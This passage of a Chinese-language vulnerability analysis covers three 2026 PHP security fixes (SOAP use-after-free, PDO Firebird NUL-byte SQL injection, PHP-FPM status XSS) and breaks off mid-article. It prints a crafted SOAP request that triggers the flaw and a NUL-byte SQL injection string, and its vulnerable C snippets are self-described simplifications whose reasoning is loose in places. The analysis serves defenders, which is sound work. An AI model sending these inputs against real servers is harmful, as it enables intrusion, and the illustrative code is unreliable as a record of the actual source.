2026 年 5 月,PHP 官方发布了 8.2.31、8.3.31、8.4.21、8.5.6 等安全更新,集中修复了 10 个安全漏洞。其中 CVE-2026-6722(CVSS 9.5,CRITICAL)为 SOAP 扩展中的 Use-After-Free 漏洞,可被利用实现远程代码执行。本文将深入分析三个高危漏洞的根因、攻击场景,并提供从检测到修复的完整指南。

1. 漏洞全景概览
1.1 三个漏洞速览
2026 年 5 月发布的 PHP 安全版本修复了三个值得重点关注的高危漏洞,按严重程度排序如下:
| CVE ID | CVSS 评分 | 等级 | 漏洞类型 | 触发条件 | 影响范围 |
|---|---|---|---|---|---|
| CVE-2026-6722 | 9.5 | CRITICAL | SOAP Use-After-Free → RCE | 使用 SoapServer 或 SoapClient 处理 Apache Map 类型的 XML 数据 | 所有使用 SOAP 扩展的 PHP 应用 |
| CVE-2025-14179 | 7.4 | HIGH | PDO Firebird SQL 注入 | 使用 PDO Firebird 驱动处理含 NUL 字节的用户输入 | 使用 Firebird 数据库的 PHP 应用 |
| CVE-2026-6735 | 7.3 | HIGH | PHP-FPM status 端点 XSS | 暴露了 PHP-FPM 的 /status 状态页面 | 所有启用 PHP-FPM status 页面的服务器 |
1.2 修复版本对照
以下版本已修复上述三个漏洞以及同批次的其他安全漏洞:
| 分支 | 受影响的版本 | 修复版本 | 是否仍受支持 |
|---|---|---|---|
| PHP 8.5 | 8.5.x < 8.5.6 | 8.5.6 | 是(活跃开发) |
| PHP 8.4 | 8.4.x < 8.4.21 | 8.4.21 | 是 |
| PHP 8.3 | 8.3.x < 8.3.31 | 8.3.31 | 是(安全支持) |
| PHP 8.2 | 8.2.x < 8.2.31 | 8.2.31 | 是(安全支持) |
| PHP 8.1 | 8.1.x < 8.1.34 | 8.1.34 | 否(已终止支持) |
| PHP 8.0 及更早 | 全部 | 无补丁 | 否(已终止支持) |
关键信息:如果你的 PHP 版本低于 8.2.31,或者使用的是已经终止支持的 PHP 8.0 / 8.1,本文的漏洞都会影响到你。建议立即规划升级到受支持的安全版本。
1.3 漏洞之间的关联
#mermaid-svg-AlnrFSsNOH26rbrP{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-AlnrFSsNOH26rbrP .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-AlnrFSsNOH26rbrP .error-icon{fill:#552222;}#mermaid-svg-AlnrFSsNOH26rbrP .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-AlnrFSsNOH26rbrP .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-AlnrFSsNOH26rbrP .marker{fill:#333333;stroke:#333333;}#mermaid-svg-AlnrFSsNOH26rbrP .marker.cross{stroke:#333333;}#mermaid-svg-AlnrFSsNOH26rbrP svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-AlnrFSsNOH26rbrP p{margin:0;}#mermaid-svg-AlnrFSsNOH26rbrP .edge{stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 path,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section--1 path{fill:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon--1{font-size:40px;color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge--1{stroke:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth--1{stroke-width:17;}#mermaid-svg-AlnrFSsNOH26rbrP .section--1 line{stroke:hsl(60, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-0 path{fill:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-0{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-0{stroke:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-0{stroke-width:14;}#mermaid-svg-AlnrFSsNOH26rbrP .section-0 line{stroke:hsl(240, 100%, 83.5294117647%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-1 path{fill:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-1{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-1{stroke:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-1{stroke-width:11;}#mermaid-svg-AlnrFSsNOH26rbrP .section-1 line{stroke:hsl(260, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-2 path{fill:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-2{font-size:40px;color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-2{stroke:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-2{stroke-width:8;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 line{stroke:hsl(90, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-3 path{fill:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-3{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-3{stroke:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-3{stroke-width:5;}#mermaid-svg-AlnrFSsNOH26rbrP .section-3 line{stroke:hsl(120, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-4 path{fill:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-4{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-4{stroke:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-4{stroke-width:2;}#mermaid-svg-AlnrFSsNOH26rbrP .section-4 line{stroke:hsl(150, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-5 path{fill:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-5{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-5{stroke:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-5{stroke-width:-1;}#mermaid-svg-AlnrFSsNOH26rbrP .section-5 line{stroke:hsl(180, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-6 path{fill:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-6{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-6{stroke:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-6{stroke-width:-4;}#mermaid-svg-AlnrFSsNOH26rbrP .section-6 line{stroke:hsl(210, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-7 path{fill:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-7{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-7{stroke:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-7{stroke-width:-7;}#mermaid-svg-AlnrFSsNOH26rbrP .section-7 line{stroke:hsl(270, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-8 path{fill:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-8{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-8{stroke:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-8{stroke-width:-10;}#mermaid-svg-AlnrFSsNOH26rbrP .section-8 line{stroke:hsl(330, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-9 path{fill:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-9{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-9{stroke:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-9{stroke-width:-13;}#mermaid-svg-AlnrFSsNOH26rbrP .section-9 line{stroke:hsl(0, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 path,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 polygon,#mermaid-svg-AlnrFSsNOH26rbrP .section-10 path{fill:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 text{fill:black;}#mermaid-svg-AlnrFSsNOH26rbrP .node-icon-10{font-size:40px;color:black;}#mermaid-svg-AlnrFSsNOH26rbrP .section-edge-10{stroke:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .edge-depth-10{stroke-width:-16;}#mermaid-svg-AlnrFSsNOH26rbrP .section-10 line{stroke:hsl(30, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled,#mermaid-svg-AlnrFSsNOH26rbrP .disabled circle,#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:lightgray;}#mermaid-svg-AlnrFSsNOH26rbrP .disabled text{fill:#efefef;}#mermaid-svg-AlnrFSsNOH26rbrP .section-root rect,#mermaid-svg-AlnrFSsNOH26rbrP .section-root path,#mermaid-svg-AlnrFSsNOH26rbrP .section-root circle,#mermaid-svg-AlnrFSsNOH26rbrP .section-root polygon{fill:hsl(240, 100%, 46.2745098039%);}#mermaid-svg-AlnrFSsNOH26rbrP .section-root text{fill:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-root span{color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .section-2 span{color:#ffffff;}#mermaid-svg-AlnrFSsNOH26rbrP .icon-container{height:100%;display:flex;justify-content:center;align-items:center;}#mermaid-svg-AlnrFSsNOH26rbrP .edge{fill:none;}#mermaid-svg-AlnrFSsNOH26rbrP .mindmap-node-label{dy:1em;alignment-baseline:middle;text-anchor:middle;dominant-baseline:middle;text-align:center;}#mermaid-svg-AlnrFSsNOH26rbrP :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 2026 PHP 高危漏洞
CVE-2026-6722
CVSS 9.5 CRITICAL
SOAP 扩展 UAF
可远程代码执行
触发条件: Apache Map + typemap
CVE-2025-14179
CVSS 7.4 HIGH
PDO Firebird SQL 注入
触发条件: NUL 字节输入
影响: 数据泄露 / 篡改
CVE-2026-6735
CVSS 7.3 HIGH
PHP-FPM Status XSS
触发条件: 暴露状态页面
影响: 会话劫持 / 钓鱼
2. CVE-2026-6722:SOAP 扩展 Use-After-Free 远程代码执行
2.1 漏洞根因分析
CVE-2026-6722 是三个漏洞中最危险的一个。它位于 ext/soap/php_encoding.c 文件中,是 SOAP 扩展在处理 Apache Map 类型数据时的对象去重机制缺陷。
当 SoapServer 或 SoapClient 处理包含 apache:Map 类型的数据时,PHP 的 SOAP 扩展使用 ref_map 指针来跟踪已经处理过的对象,以避免重复处理。这个指针的引用计数管理存在缺陷。
c
// php-src/ext/soap/php_encoding.c(漏洞版本简化示意)
zval *to_zval_map(zval *map, ...)
{
// SOAP 全局 typemap 注册表
if (SOAP_GLOBAL(typemap)) {
// ref_map 指针用于 SOAP 对象去重
// 当 Apache Map 节点被处理时,
// ref_map 指向栈上的临时变量
smart_str key = {0};
// 将 Map 的 key 序列化到 key 变量
serialize_zval(map, &key, ...);
// 查找 ref_map------如果存在则返回已有对象
zend_hash_str_find(SOAP_GLOBAL(ref_map), key.s->val, key.s->len);
// ^ 问题: key 中的数据可能已被释放
}
// 处理 Map 中的 item 节点
for (item = firstChild; item; item = item->next) {
// 处理 key
if (strcmp(item->name, "key") == 0) {
// ...
}
// 处理 value------注意这里本应检查 xmlValue 而非 xmlKey
else if (strcmp(item->name, "value") == 0) {
// 漏洞: 此处重复检查了 xmlKey 而非 xmlValue
// 导致 value 节点可能被错误处理
}
}
}
为什么这段代码有风险?根本原因有两点:
缺陷一 :to_zval_map() 函数在处理 <value> 节点时,错误地复用了 <key> 节点的检查逻辑。xmlKey 被检查了两次,而 xmlValue 从未被检查。
缺陷二 :序列化后的 Map key 存储在栈上的 smart_str 变量中。当 value 节点缺失或格式异常时,这个栈变量可能已超出作用域,但 ref_map 中的指针仍然指向这块已释放的内存。后续 SOAP 请求复用时,这个悬挂指针就会导致 Use-After-Free。
2.2 攻击场景模拟
攻击者可以构造一个特制的 SOAP 请求,利用缺失 <value> 节点的 Apache Map 元素触发漏洞:
xml
<!-- 攻击者构造的恶意 SOAP 请求 -->
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:apache="http://xml.apache.org/xml-soap">
<soap:Body>
<processOrder>
<order xsi:type="apache:Map">
<item>
<key xsi:type="xsd:string">user_data</key>
<!-- 注意: 这里没有 <value> 节点 -->
<!-- 导致 ref_map 指针指向已释放内存 -->
</item>
</order>
</processOrder>
</soap:Body>
</soap:Envelope>
攻击链路如下:
#mermaid-svg-ePjdxcyIKKsbo1zD{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ePjdxcyIKKsbo1zD .error-icon{fill:#552222;}#mermaid-svg-ePjdxcyIKKsbo1zD .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ePjdxcyIKKsbo1zD .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ePjdxcyIKKsbo1zD .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .marker.cross{stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ePjdxcyIKKsbo1zD p{margin:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label text{fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label span{color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster-label span p{background-color:transparent;}#mermaid-svg-ePjdxcyIKKsbo1zD .label text,#mermaid-svg-ePjdxcyIKKsbo1zD span{fill:#333;color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .node rect,#mermaid-svg-ePjdxcyIKKsbo1zD .node circle,#mermaid-svg-ePjdxcyIKKsbo1zD .node ellipse,#mermaid-svg-ePjdxcyIKKsbo1zD .node polygon,#mermaid-svg-ePjdxcyIKKsbo1zD .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .rough-node .label text,#mermaid-svg-ePjdxcyIKKsbo1zD .node .label text,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label,#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label{text-anchor:middle;}#mermaid-svg-ePjdxcyIKKsbo1zD .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .rough-node .label,#mermaid-svg-ePjdxcyIKKsbo1zD .node .label,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label,#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label{text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .node.clickable{cursor:pointer;}#mermaid-svg-ePjdxcyIKKsbo1zD .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .arrowheadPath{fill:#333333;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-ePjdxcyIKKsbo1zD .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster text{fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD .cluster span{color:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-ePjdxcyIKKsbo1zD .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-ePjdxcyIKKsbo1zD rect.text{fill:none;stroke-width:0;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape p,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-ePjdxcyIKKsbo1zD .icon-shape .label rect,#mermaid-svg-ePjdxcyIKKsbo1zD .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-ePjdxcyIKKsbo1zD .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-ePjdxcyIKKsbo1zD .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-ePjdxcyIKKsbo1zD :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 是
攻击者发送特制 SOAP 请求
apache:Map + 缺失 value 节点
PHP SOAP 扩展
to_zval_map() 处理请求
key 序列化后存入
栈变量 smart_str
value 节点缺失
smart_str 被释放
ref_map 指针仍指向
已释放的栈内存
攻击者可控制
已释放内存的内容?
用恶意对象覆盖
已释放的内存区域
ref_map 引用恶意对象
触发 Use-After-Free
攻击者构造的代码
在 PHP 进程中执行
2.3 触发条件
CVE-2026-6722 需要满足以下条件才能被利用:
条件 A: PHP 使用受影响版本(< 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6)
条件 B: 应用使用 SoapServer 或 SoapClient 处理用户输入的 SOAP 数据
条件 C: SOAP 配置了 typemap(类型映射)
条件 D: 攻击者能够发送包含 apache:Map 节点的 XML 请求
只有 A + B + C + D 同时成立 → 漏洞可利用
实际影响面估算:
- 许多内部服务使用 SOAP 进行系统间通信,尤其是企业套装软件(CRM、ERP、工单系统)
- 即使不直接暴露给互联网,通过 SSRF 或内部网络横向移动也有可能被利用
- 在 typemap 未配置的场景下,只会触发空指针解引用导致 DoS,但不会导致 RCE
3. CVE-2025-14179:PDO Firebird SQL 注入(NUL 字节绕过)
3.1 漏洞根因
CVE-2025-14179 的 CVE 编号虽然是 2025 年,但修复补丁在 2026 年 5 月的 PHP 安全版本中才正式发布。漏洞出在 PDO Firebird 驱动的引号转义函数中。
当用户输入中包含 NUL 字节(\0,即 ASCII 0)时,PDO Firebird 驱动的 pdo_firebird_quote() 函数在计算字符串长度时将其视为结束符,导致转义后的字符串被截断,后续的 SQL 片段逃脱了引号保护。
c
// ext/pdo_firebird/firebird_driver.c(漏洞版本)
static int pdo_firebird_quote(pdo_dbh_t *dbh,
const char *input, size_t input_len,
char **quoted, size_t *quoted_len)
{
// 计算转义后字符串的长度
// 问题: 使用 strnlen + strlen 混合计算长度
size_t len = strnlen(input, input_len);
// 分配内存
*quoted = emalloc(2 * len + 3);
// 逐字符转义
char *p = *quoted;
*p++ = '\''; // 开头的单引号
for (size_t i = 0; i < len; i++) {
if (input[i] == '\'') {
*p++ = '\''; // 双写转义:' → ''
}
*p++ = input[i];
}
*p++ = '\''; // 结尾的单引号
*p = '\0';
*quoted_len = p - *quoted;
}
为什么这段代码有风险?strnlen() 函数将 NUL 字节视为字符串结尾,返回的是 NUL 之前的字符数。但 input_len 参数是 PHP 内部跟踪的 ZSTR 长度,它包括了 NUL 之后的字符。两者不一致导致:
- 分配的内存不足(只覆盖了 NUL 之前的部分)
- 转义循环只处理了 NUL 之前的部分
- NUL 之后的恶意 SQL 语句没有被转义,直接拼接到查询中
sql
-- 假设用户输入(含 NUL 字节):
-- admin\0' OR '1'='1
